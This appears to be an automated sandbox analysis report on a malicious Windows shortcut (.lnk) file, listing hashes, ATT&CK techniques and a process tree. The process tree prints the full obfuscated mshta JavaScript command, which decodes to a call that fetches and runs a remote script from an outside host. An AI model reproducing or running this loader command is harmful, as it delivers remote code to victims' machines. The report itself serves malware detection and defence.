0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62

Analysis

max time kernel
94s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
02/08/2024, 12:08

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General

Target

0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
Size

16KB
MD5

f42bf29a11a3feee10ba5c1e7c693f1e
SHA1

ed4c179341c429a86675d8d94e34cb97b112df78
SHA256

0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62
SHA512

8ce42c3456c527b5b182f5cb8f3118241d23d8c3f142b325c575f055cf6703d0ad0fedbe1740712e5e54bbe0503faf8847b20fc8bad340a8d506fca271847939
SSDEEP

384:zAmMYXKJXi7LLGNZYXENk+eZih4YMUEJvcCT9OfqDJt71W/9njZIG:JIXuGNj+Hkh4bvfk2jZ4ZtN

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
2	3704	mshta.exe
4	3704	mshta.exe
10	3704	mshta.exe
19	3704	mshta.exe
21	3704	mshta.exe
23	3704	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3881032017-2947584075-2120384563-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 1944	2096	cmd.exe	85
PID 2096 wrote to memory of 1944	2096	cmd.exe	85
PID 1944 wrote to memory of 3704	1944	cmd.exe	86
PID 1944 wrote to memory of 3704	1944	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\0c4bab1bea283764fd4205ce9aa24f7c72c287578729a986f240d20cb2929f62.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:Off /D/c mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\system32\mshta.exe
    mShtA "JAVascrIPT:var _$_FOTV=["\x59\131\x43\x4f\x45\x4b\x4f","\163\x63\x72\x69\x70\x74\x3a\x48\x54\164\x70\x73\x3a\x2f\x2f\x62\x6c\157\x72\x69\x7a\x2e\x67\x65\x73\164\141\157\x61\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\151\x76\x61\x64\x61\x74\x69\x6e\x67\56\x69\157\x2f\x3f\x31\x2f"];try{GetObject(_$_FOTV[1])[_$_FOTV[0]]()}catch(e){};close()"
    3⤵
    - Blocklisted process makes network request
    PID:3704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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